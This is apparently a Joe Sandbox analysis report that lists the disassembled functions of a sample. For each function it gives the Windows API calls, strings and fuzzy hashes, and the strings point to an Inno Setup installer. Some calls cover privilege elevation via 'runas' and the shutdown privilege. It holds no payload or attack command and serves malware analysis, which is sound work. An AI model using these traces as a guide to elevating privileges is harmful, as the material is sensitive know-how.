Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: df934b34f1bc85ce2471d95e5f96b66cab128c3cad0ff5fb16097d4bfcec1436
Instruction ID: b7b79c15840fa76abef9437e43e4f8825fb2e58c400bd883dda953f657da4aaf
Opcode Fuzzy Hash: df934b34f1bc85ce2471d95e5f96b66cab128c3cad0ff5fb16097d4bfcec1436
Instruction Fuzzy Hash: A9C09BB93011158BDF50E6FEC5C1D0763DC6F5C30A7514166BD04CF207E668DC154B18

Function 00407298 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000,?,004972C6,00000000,00497499,?,?,00000005,00000000,004974CD,?,?,00000000), ref: 004072A3

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 3c8093bb5f09dc1c1582e908db928c9e5cb26b64588de7f0dbcd6adb7ad2976f
Instruction ID: 2ee9fcf0c2ecb8048618371478a38130c752a95b947e2a8aefd026f579ab26ad
Opcode Fuzzy Hash: 3c8093bb5f09dc1c1582e908db928c9e5cb26b64588de7f0dbcd6adb7ad2976f
Instruction Fuzzy Hash: 33B012E03D120A2BCA0079FE4CC192A00CC46292163401B3B3006EB1C3D83DC8180824

Function 0042E3E7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,0042E405), ref: 0042E3F8

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: f4ecfd3f9628561c4f225325444755a3e89d37cff15fe7854645b1b41ac61961
Instruction ID: 0a31ae7c3a111c16d424c34ef622fbdc70eb0dd2bd2df7fa5b045972c40067f9
Opcode Fuzzy Hash: f4ecfd3f9628561c4f225325444755a3e89d37cff15fe7854645b1b41ac61961
Instruction Fuzzy Hash: C5B09B7670C6105DA719DED5B45552D63D4D7C47207E14477F000D2581D97C58014A18

Function 004165E4 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

73A25CF0.USER32(?), ref: 004165EB

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e610db4be5d09209adc61dd78440b7b0e9dd7066f593708e54d36c975471eb1e
Instruction ID: 4f6e5339ba6c71e81ef5aec1f6829bfe42d3c8de95bc03762545e97b2cddf6f9
Opcode Fuzzy Hash: e610db4be5d09209adc61dd78440b7b0e9dd7066f593708e54d36c975471eb1e
Instruction Fuzzy Hash: 1AA00275501500AADA00E7B5D849F7E2298BB44204FD905F9714897056C57C99008B55

Function 00448720 Relevance: 1.4, APIs: 1, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb9b9dd83b9c3a50c03624de410b9d2001f21e86ad2002bd7b0a23a4e373be6c
Instruction ID: 536338a183f72747ee396c39aaf2d9ae1316c242f91420f2fc1fbbab771670b7
Opcode Fuzzy Hash: cb9b9dd83b9c3a50c03624de410b9d2001f21e86ad2002bd7b0a23a4e373be6c
Instruction Fuzzy Hash: 73519770E042099FEB00EFA5C892AAEBBF5EF49714F50417AE504E7351DB389E41CB98

Function 0047D57C Relevance: 1.4, APIs: 1, Instructions: 150COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0047D754,?,?,?,?,00000000,00000000,00000000,00000000), ref: 0047D70E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: c7e5cdcebff257ae51aff8300cd1cc40ed83c093b3b6095f0ee234a78004d27f
Instruction ID: ceed5698e636368dfd76c0cd730b865cf5009e2f8cb46b99e2292a0b329ee420
Opcode Fuzzy Hash: c7e5cdcebff257ae51aff8300cd1cc40ed83c093b3b6095f0ee234a78004d27f
Instruction Fuzzy Hash: 7C518170A14245AFDB20DF55D8C5BAABBF9EF29304F108077E808A73A1C778AD45CB59

Function 0041F3BC Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED9C,?,00423887,00423C04,0041ED9C), ref: 0041F3DA

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 22959fa884de24c48d5df6d55c2b32dc96685aad46c3c62c5ebc91be37d62682
Instruction ID: cb23d80071df23bba1d133aab7454d5b1bd3cce231e0a29d7ee5219cf2fb9859
Opcode Fuzzy Hash: 22959fa884de24c48d5df6d55c2b32dc96685aad46c3c62c5ebc91be37d62682
Instruction Fuzzy Hash: 08115A752407059BDB10DF19D880B86FBE5EF58350F10C53BE9A88B385D374E84ACBA9

Function 00452F98 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00453001), ref: 00452FE3

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f08d4b25af8aa325ab52cd9faeda57ccaa32c3ce955bb7c2d9b93568a2cf152c
Instruction ID: 3c34fb880e90b623eb2bb31e9ea66b18baec95e7b0c87dab0e1dfc6834c7d9d6
Opcode Fuzzy Hash: f08d4b25af8aa325ab52cd9faeda57ccaa32c3ce955bb7c2d9b93568a2cf152c
Instruction Fuzzy Hash: 98014C356042046A8B15DF699C008AEFBE8EB4E72175046B7FC24D3382D6344E059798

Function 0040170C Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,?,?,00001370,00005373,00401973), ref: 00401766

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
Instruction ID: fd45504e6079eb3c344fd15592bdf3984e08e9418c18d248e8b2091ea2ac4f2a
Opcode Fuzzy Hash: 3cb279d385dc81f8188aef87182d0a586e7f532f71175ddb5b892d42a5daf7f8
Instruction Fuzzy Hash: A10120766443148FC3109F29EDC0E2677E8D794378F15453EDA85673A1D37A6C0187D8

Function 00406F38 Relevance: 1.3, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00406F39

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: efb61ad58cd5fb487c50d8b3f78a63cdbb479017f0edef40a54ab24c8625a7e3
Instruction ID: 073c3129693101c5e7833b7ffa09eca8aa7a1e81ff9bb2ce6bcaaab03392c7d4
Opcode Fuzzy Hash: efb61ad58cd5fb487c50d8b3f78a63cdbb479017f0edef40a54ab24c8625a7e3
Instruction Fuzzy Hash:

Non-executed Functions

Function 0041F110 Relevance: 45.6, APIs: 15, Strings: 11, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00418FE8,00000000,?,?,?,00000001), ref: 0041F11E
SetErrorMode.KERNEL32(00008000,?,00418FE8,00000000,?,?,?,00000001), ref: 0041F13A
LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FE8,00000000,?,?,?,00000001), ref: 0041F146
SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FE8,00000000,?,?,?,00000001), ref: 0041F154
GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F184
GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F1AD
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1C2
GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1D7
GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1EC
GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F201
GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F216
GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F22B
GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F240
GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F255
FreeLibrary.KERNEL32(00000001,?,00418FE8,00000000,?,?,?,00000001), ref: 0041F267

Strings

Ctl3dUnAutoSubclass, xrefs: 0041F220
Ctl3dSubclassDlgEx, xrefs: 0041F1CC
Ctl3dAutoSubclass, xrefs: 0041F20B
Ctl3dRegister, xrefs: 0041F179
CTL3D32.DLL, xrefs: 0041F141
Ctl3dDlgFramePaint, xrefs: 0041F1E1
Ctl3dUnregister, xrefs: 0041F1A2
BtnWndProc3d, xrefs: 0041F24A
Ctl3dSubclassCtl, xrefs: 0041F1B7
Ctl3DColorChange, xrefs: 0041F235
Ctl3dCtlColorEx, xrefs: 0041F1F6

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$ErrorLibraryMode$FreeLoadVersion
String ID: BtnWndProc3d$CTL3D32.DLL$Ctl3DColorChange$Ctl3dAutoSubclass$Ctl3dCtlColorEx$Ctl3dDlgFramePaint$Ctl3dRegister$Ctl3dSubclassCtl$Ctl3dSubclassDlgEx$Ctl3dUnAutoSubclass$Ctl3dUnregister
API String ID: 2323315520-3614243559
Opcode ID: 555e93f06c2ea596d0c5ea37008c95f9a766e1991345355b6851531c4bbfc724
Instruction ID: b3d5d35426b7a88a41f50cbf902c37b37573112488e24e2852513ec86d1b0e77
Opcode Fuzzy Hash: 555e93f06c2ea596d0c5ea37008c95f9a766e1991345355b6851531c4bbfc724
Instruction Fuzzy Hash: 1F3150B2600700ABEB01EBB9AC46A6B3794F728324751093FB508D72A2E77C5C55CF5C

Function 004583E8 Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 186pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0045844F
QueryPerformanceCounter.KERNEL32(02213858,00000000,004586E2,?,?,02213858,00000000,?,00458DDE,?,02213858,00000000), ref: 00458458
GetSystemTimeAsFileTime.KERNEL32(02213858,02213858), ref: 00458462
GetCurrentProcessId.KERNEL32(?,02213858,00000000,004586E2,?,?,02213858,00000000,?,00458DDE,?,02213858,00000000), ref: 0045846B
CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 004584E1
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,02213858,02213858), ref: 004584EF
CreateFileA.KERNEL32(00000000,C0000000,00000000,00499B10,00000003,00000000,00000000,00000000,0045869E), ref: 00458537
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,0045868D,?,00000000,C0000000,00000000,00499B10,00000003,00000000,00000000,00000000,0045869E), ref: 00458570

Part of subcall function 0042D8BC: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8CF

CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00458619
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0045864F
CloseHandle.KERNEL32(000000FF,00458694,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00458687

Part of subcall function 00453470: GetLastError.KERNEL32(00000000,00454005,00000005,00000000,0045403A,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004978B1,00000000), ref: 00453473

Strings

i, xrefs: 004585CC
CreateFile, xrefs: 00458545
Starting 64-bit helper process., xrefs: 0045841D
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 004584B7
D, xrefs: 00458592
helper %d 0x%x, xrefs: 004585F8
CreateNamedPipe, xrefs: 004584FF
Cannot utilize 64-bit features on this version of Windows, xrefs: 00458430
CreateProcess, xrefs: 00458622
SetNamedPipeHandleState, xrefs: 00458579
Helper process PID: %u, xrefs: 0045866C
64-bit helper EXE wasn't extracted, xrefs: 00458443

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
API String ID: 770386003-3271284199
Opcode ID: 054b3fce73081814b7d88cf5b28d8f4160fb10be08dbad5a985f56231a1c746d
Instruction ID: 5a0611516353431e4aeb24f6ab6c42495b14cb215b8b3d0382893c99e5952ef8
Opcode Fuzzy Hash: 054b3fce73081814b7d88cf5b28d8f4160fb10be08dbad5a985f56231a1c746d
Instruction Fuzzy Hash: E8711370A003449EDB11DF65CC41B9E7BF8EB19305F1085BAF958FB282DB7899448F69

Function 00477F98 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00477E04: GetModuleHandleA.KERNEL32(kernel32.dll,GetFinalPathNameByHandleA,02212BEC,?,?,?,02212BEC,00477FC8,00000000,004780E6,?,?,-00000010,?), ref: 00477E1D
Part of subcall function 00477E04: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00477E23
Part of subcall function 00477E04: GetFileAttributesA.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,02212BEC,?,?,?,02212BEC,00477FC8,00000000,004780E6,?,?,-00000010,?), ref: 00477E36
Part of subcall function 00477E04: CreateFileA.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleA,02212BEC,?,?,?,02212BEC), ref: 00477E60
Part of subcall function 00477E04: CloseHandle.KERNEL32(00000000,?,?,?,02212BEC,00477FC8,00000000,004780E6,?,?,-00000010,?), ref: 00477E7E

Part of subcall function 00477EDC: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00477F6E,?,?,?,02212BEC,?,00477FD0,00000000,004780E6,?,?,-00000010,?), ref: 00477F0C

ShellExecuteEx.SHELL32(0000003C), ref: 00478020
GetLastError.KERNEL32(00000000,004780E6,?,?,-00000010,?), ref: 00478029
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00478076
GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 0047809A
CloseHandle.KERNEL32(00000000,004780CB,00000000,00000000,000000FF,000000FF,00000000,004780C4,?,00000000,004780E6,?,?,-00000010,?), ref: 004780BE

Strings

ShellExecuteEx returned hProcess=0, xrefs: 0047804A
MsgWaitForMultipleObjects, xrefs: 00478083
GetExitCodeProcess, xrefs: 004780A3
ShellExecuteEx, xrefs: 0047803A
runas, xrefs: 00477FED
=G, xrefs: 00477FD0, 00477FDF

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Handle$CloseFile$AddressAttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcProcessShellWait
String ID: =G$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 883996979-2356621170
Opcode ID: b678e359fd0ae47c3c5922cbe0b0ba0238e438d4a6a95f87c38f16ae302c5cef
Instruction ID: f917ad2a0ddd76f9e2927b7da1bf40d86712eb5f256f3455e7a65403f61927fd
Opcode Fuzzy Hash: b678e359fd0ae47c3c5922cbe0b0ba0238e438d4a6a95f87c38f16ae302c5cef
Instruction Fuzzy Hash: 6A317670A40648AFDB10EFA6C845ADE76B8EB09318F91847FF518E7281DB7C4909CB59

Function 00422854 Relevance: 18.3, APIs: 12, Instructions: 255windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 004229EC
ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422BB6), ref: 004229FC

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: MessageSendShowWindow
String ID:
API String ID: 1631623395-0
Opcode ID: c219f7c537efeea3579c9411d70f54cec51da60040311af4759150a5570cff70
Instruction ID: 1945ea129714beb182378817fb96d2750a9cf3de1b1d00e1964b2da952e4e1c4
Opcode Fuzzy Hash: c219f7c537efeea3579c9411d70f54cec51da60040311af4759150a5570cff70
Instruction Fuzzy Hash: 54917071B04254BFDB10DFA9DA86F9E77F4AB04304F5501BAF904AB292C778AE40DB58

Function 0041837C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0041838B
GetWindowPlacement.USER32(?,0000002C), ref: 004183A8
GetWindowRect.USER32(?), ref: 004183C4
GetWindowLongA.USER32(?,000000F0), ref: 004183D2
GetWindowLongA.USER32(?,000000F8), ref: 004183E7
ScreenToClient.USER32(00000000), ref: 004183F0
ScreenToClient.USER32(00000000,?), ref: 004183FB

Strings

,, xrefs: 00418394

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: 6217f91ca86bc21168c1a31dc77beadf87db026dacfe8a4e2043101b83599555
Instruction ID: e201a0486811adc056edcb3d82b1b2fee19cba914b7849b2462e59dde51cd5f3
Opcode Fuzzy Hash: 6217f91ca86bc21168c1a31dc77beadf87db026dacfe8a4e2043101b83599555
Instruction Fuzzy Hash: A3112BB1505201ABEB00DF69C885F9B77E8AF48314F15067EFD58DB296D738D900CBA9

Function 004555B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 004555C7
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004555CD
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 004555E6
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 0045560D
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00455612
ExitWindowsEx.USER32(00000002,00000000), ref: 00455623

Strings

SeShutdownPrivilege, xrefs: 004555DF

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: bb799306ba89914f4ad5c57bf57863a6c2a35b94d1ae8b7cd1197278bb0a2066
